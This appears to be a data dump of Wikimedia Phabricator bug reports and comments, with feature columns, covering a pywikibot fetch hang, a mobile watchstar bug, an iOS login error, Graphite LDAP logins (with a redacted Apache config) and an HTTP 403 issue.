+[[https://gerrit.wikimedia.org/r/203836]]
+",,,1428939808,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+94993,fetch hangs if a httplib2.RedirectLimit occurred,"When a httplib2.RedirectLimit (maybe also with others) occurred on `pywikibot.comms.http.fetch` it hangs:
+
+```
+>>> import pywikibot.comms.http
+>>> pywikibot.comms.http.fetch('http://www.tvtropes.org/api.php')
+Traceback (most recent call last):
+  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 920, in _bootstrap_inner
+    self.run()
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 549, in run
+    item.data = self.http.request(*item.args, **item.kwargs)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 260, in request
+    uri, method, body, headers, response, content, max_redirects)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 307, in _follow_redirect
+    max_redirects=max_redirects - 1)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 260, in request
+    uri, method, body, headers, response, content, max_redirects)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 311, in _follow_redirect
+    response, content)
+httplib2.RedirectLimit: Redirected more times than redirection_limit allows.
+
+^CTraceback (most recent call last):
+  File ""<stdin>"", line 1, in <module>
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/http.py"", line 364, in fetch
+    error_handling_callback(request)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/http.py"", line 274, in error_handling_callback
+    if isinstance(request.data, SSLHandshakeError):
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 392, in data
+    self._join()
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 386, in _join
+    self.lock.acquire(True)
+  File ""/home/xzise/Programms/pywikibot/core/pywikibot/comms/threadedhttp.py"", line 323, in acquire
+    return super(S, self).acquire(blocking)
+  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 421, in acquire
+    self._cond.wait(timeout)
+  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/threading.py"", line 290, in wait
+    waiter.acquire()
+KeyboardInterrupt
+```
+
+From what I could tell it's not releasing the semaphore correctly (although when looking at the code it should and it does actually call that) and when it then tries to check for errors it tries to acquire it and waits then on it.
+
+            try:
+                # inside of that it crashes
+                item.data = self.http.request(*item.args, **item.kwargs)
+            finally:
+                if item.lock:
+                    # this line is called
+                    item.lock.release()
+
+I tried to determine where it acquires the lock but only find the one place in `fetch` and then one when it tries to get the data in `error_handling_callback`.
+
+(//Note: The line numbers are bit off as I try to debug that one//)",Needs Triage,90.0,1428057131,1428460778.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_description,resolved,True,c3,1,True,False,True,-13,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+440108,fetch hangs if a httplib2.RedirectLimit occurred,I looked in a few gerrit's and couldnt find it. The revised patch almost certainly addresses the core of the problem that was previously discussed.,,,1428460778,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+440059,fetch hangs if a httplib2.RedirectLimit occurred,"Change 201696 merged by jenkins-bot:
+[FIX] Return exception instead of raising it
+
+[[https://gerrit.wikimedia.org/r/201696]]",,,1428452881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+438501,fetch hangs if a httplib2.RedirectLimit occurred,"Not sure. I do remember something about it, but I can't find a bug either -- maybe it's in a gerrit comment instead?",,,1428174471,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+438500,fetch hangs if a httplib2.RedirectLimit occurred,Not sure. I do remember something about that -- maybe it's in a gerrit comment instead?,,,1428174451,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+438447,fetch hangs if a httplib2.RedirectLimit occurred,Maybe @valhallasw got an idea?,,,1428156061,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0
+438330,fetch hangs if a httplib2.RedirectLimit occurred,ugh. im having difficulty finding it. :/,,,1428098577,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+438256,fetch hangs if a httplib2.RedirectLimit occurred,"Could you specify? Is there a bug already existing on Phabricator, I couldn't find really one.",,,1428093084,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+437963,fetch hangs if a httplib2.RedirectLimit occurred,"There is another bug about this problem, discussing a solution which catches raised exceptions.",,,1428066211,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0
+437892,fetch hangs if a httplib2.RedirectLimit occurred,"Change 201696 had a related patch set uploaded (by XZise):
+[FIX] Return exception instead of raising it
+
+[[https://gerrit.wikimedia.org/r/201696]]
+",,,1428059622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+437890,fetch hangs if a httplib2.RedirectLimit occurred,Ah I think it's not setting `threadedhttp.HttpRequest._data` when that exception occurs and thus it tries to acquire the semaphore. Another problem is that `fetch` does acquire the semaphore but doesn't release it. I'm not sure if that is intentional (that way after the data has been fetched the lock is blocked so when a request happens it can't acquire the lock).,,,1428059409,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+94682,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,"- Open an incognito/private window
+- Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/Cat_senses?mobileaction=beta
+- Click watchstar
+- You should see the login/signup CTA drawer
+- Click the bottom arrow to dismiss modal {F107694}
+- Try to click watchstar again
+- **Nothing happens**
+
+Expected:
+- login/signup CTA opens back up",Needs Triage,90.0,1427885922,1429563194.0,PHID-USER-cjstd4vv3u3gq2sijr7d,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-znnxgvjm4emhrahvqdlp,task_description,resolved,True,c3,1,True,False,True,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+446613,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,Fixed by https://gerrit.wikimedia.org/r/#/c/204972/,,,1429563086,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+439005,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,I can reproduce this. Big edge case but should get fixed sooner rather than later.,,,1428340440,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+436459,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,Can somebody else reproduce this? I used Chrome,,,1427885958,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-14,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+94499,Change @wd command to use HTTP endpoint,"```
+@wd <query string>
+```
+should point to https://tools.wmflabs.org/cluestuff/wd/query.cgi?q=<query string> but was never changed. Current implementation suffers from M$/unix translation issues.",Needs Triage,90.0,1427755496,1508437823.0,PHID-USER-332rgmq3myqqjkph3hio,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-mpaxujujwxvby5bhcq6w,task_description,declined,True,c3,1,False,False,False,-14,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+950789,Change @wd command to use HTTP endpoint,"unfortunately if nobody can provide python script that was doing these lookups, we are doomed",,,1508437823,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,3,True,,,120,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+911397,Change @wd command to use HTTP endpoint,it seems that wd script was lost while moving to another instance on labs :( so wd doesn't work at all now,,,1502483520,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,3,True,,,110,True,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+464888,Change @wd command to use HTTP endpoint,"mhmmm @wd is just running some python script, can you give me the version that does that?",,,1432798091,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0
+93789,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"iPad mini  iOS 8.2 with Beta 4.0.7.8
+
+1. Install Beta 4.0.7.8 
+2. Open the apps and log in - after entering  username/password, click Done.
+
+The error msg is displayed briefly: The operation could not be completed(NSURLErrorDomain error code -999)
+
+There is no noticeable implications after that 
+- logging in is successful and quick
+- subsequent log out/log in won't display such error.
+
+{F103685}",Needs Triage,90.0,1427223826,1428946038.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-4rj42npfejiv3ppmt7pb,task_description,resolved,True,c3,1,False,False,True,-15,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+444813,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,Checked the fix with 4.1.1(85).,,,1429209366,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+442277,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,https://gerrit.wikimedia.org/r/#/c/203490 submitted for code review,,,1428708798,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+442260,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"It appears this surfaces when a valid username and password are entered, then the user taps Done once, then a little under a second later taps Done again. This is causing a networking cancellation, which causes the error. One way to deal with this is to disable the Done button after it has been tapped once until it's done doing it's thing.",,,1428706897,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+442241,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"The issue is still present in 4.1.1(78). 
+
+When reproducing the issue, make sure 
+that there are no other instances of beta(if you're testing beta) or alpha(if you're checking alpha) apps installed. ",,,1428704610,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+442238,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,The issue is still present in 4.1.1(78).,,,1428704365,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+93158,logins on graphite,"@eevans has reported he can't login on graphite but he already is in the WMF LDAP group, @Coren and I both confirmed that.
+
+Also, the login works for him on Icinga which uses the same groups, and finally, i can't login on Graphite myself either it seems. I simply get a ""wrong password"" reply but i'm using the same credentials as on Icinga which works fine.",Needs Triage,90.0,1426724523,1427381340.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_description,invalid,True,c3,1,True,True,True,-15,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0
+433272,logins on graphite,I think grafana is the answer for that indeed. Let me close this then. We can always reopen.,,,1427381323,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+433021,logins on graphite,"@Dzahn I can't really speak to how useful this would be, I've never tried it (that's what I was trying to do when I discovered you couldn't login).  With http://grafana.wikimedia.org an option, perhaps it's not necessary.",,,1427334432,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0
+433016,logins on graphite,@eevans i'm afraid it's not. wondering now if we should keep this bug open to support saving graphs and slightly repurpose it,,,1427334012,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+433013,logins on graphite,"@Dzahn right, that describes what I am seeing.  It was my hope that if logged in I could save graphs, but it sounds like that's not supported.",,,1427333765,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+432482,logins on graphite,"@eevans are you clicking the ""login"" button in the upper right corner in the UI itself and then get the error? like i did? that doesn't work. but as RobH points out the initial pop-up auth from Apache works and is hooked up to LDAP. after that, regardless of the additional login link, you should already be able to see data when you uncollapse the tree on the left hand side.",,,1427303548,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0
+432443,logins on graphite,clarification: so i tested the initial login prompt on graphite.  The additional login option once the graphite web GUI loads doesn't work for me either.,,,1427300899,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+432425,logins on graphite,"I can confirm that for me, my graphite and icinga login are identical (ldap) and both function.",,,1427299739,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+428874,logins on graphite,"that said, for Coren it works. and:
+
+
+```
+        # LDAP authentication
+        AuthName ""WMF Labs (use wiki login name not shell)""
+        AuthType Basic
+        AuthBasicProvider ldap
+        AuthLDAPBindDN cn=proxyagent,ou=profile,dc=wikimedia,dc=org
+        AuthLDAPBindPassword XXXXXXXXXXX
+        AuthLDAPURL ""ldaps://ldap-eqiad.wikimedia.org ldap-codfw.wikimedia.org/ou=people,dc=wikimedia,dc=org?cn""
+
+        <LimitExcept OPTIONS>
+                        Require ldap-group cn=ops,ou=groups,dc=wikimedia,dc=org
+                        Require ldap-group cn=nda,ou=groups,dc=wikimedia,dc=org
+                        Require ldap-group cn=wmf,ou=groups,dc=wikimedia,dc=org
+                    </LimitExcept>
+
+```",,,1426724645,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+93021,Occasionally getting 403 HTTP Method not allowed from bits,For example I just received this error while trying to GET http://bits.beta.wmflabs.org/static-master/extensions/VisualEditor/modules/ve-mw/init/ve.init.mw.js,Needs Triage,90.0,1426632739,1430784755.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-nr2rykz2i64vicqql4ad,task_description,duplicate,True,c3,1,True,False,True,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
